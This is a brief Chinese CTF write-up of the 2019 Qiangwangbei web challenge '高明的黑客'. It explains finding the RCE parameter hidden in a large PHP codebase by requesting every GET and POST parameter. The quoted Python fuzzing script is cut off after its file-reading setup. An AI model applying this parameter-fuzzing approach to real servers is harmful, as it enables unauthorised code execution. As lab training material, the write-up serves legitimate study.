[强网杯 2019] web题-高明的黑客

复现环境:buuoj.cn

下载下来的源码很大，大到让人傻掉

看了下大佬的wp 是说找出这些源码中所有的GET和POST请求，模拟请求一遍，看看那个能RCE能够使用。

这里贴出赵师傅的Python脚本 膜一波

import os
import threading
from concurrent.futures.thread import ThreadPoolExecutor

import requests

session = requests.Session()

path = "/Users/jinzhao/PhpstormProjects/qwb/web2/"  # 文件夹目录
files = os.listdir(path)  # 得到文件夹下的所有文件名称

mutex = threading.Lock()
pool = ThreadPoolExecutor(max_workers=50)

def read_file(file):
    f = open(path + "/" + file);  # 打开文件
    iter_f = iter(f);  # 创建迭代器
    str = ""
    for line in iter_f:  # 遍历文件，一行行遍历，读取文本
        str = str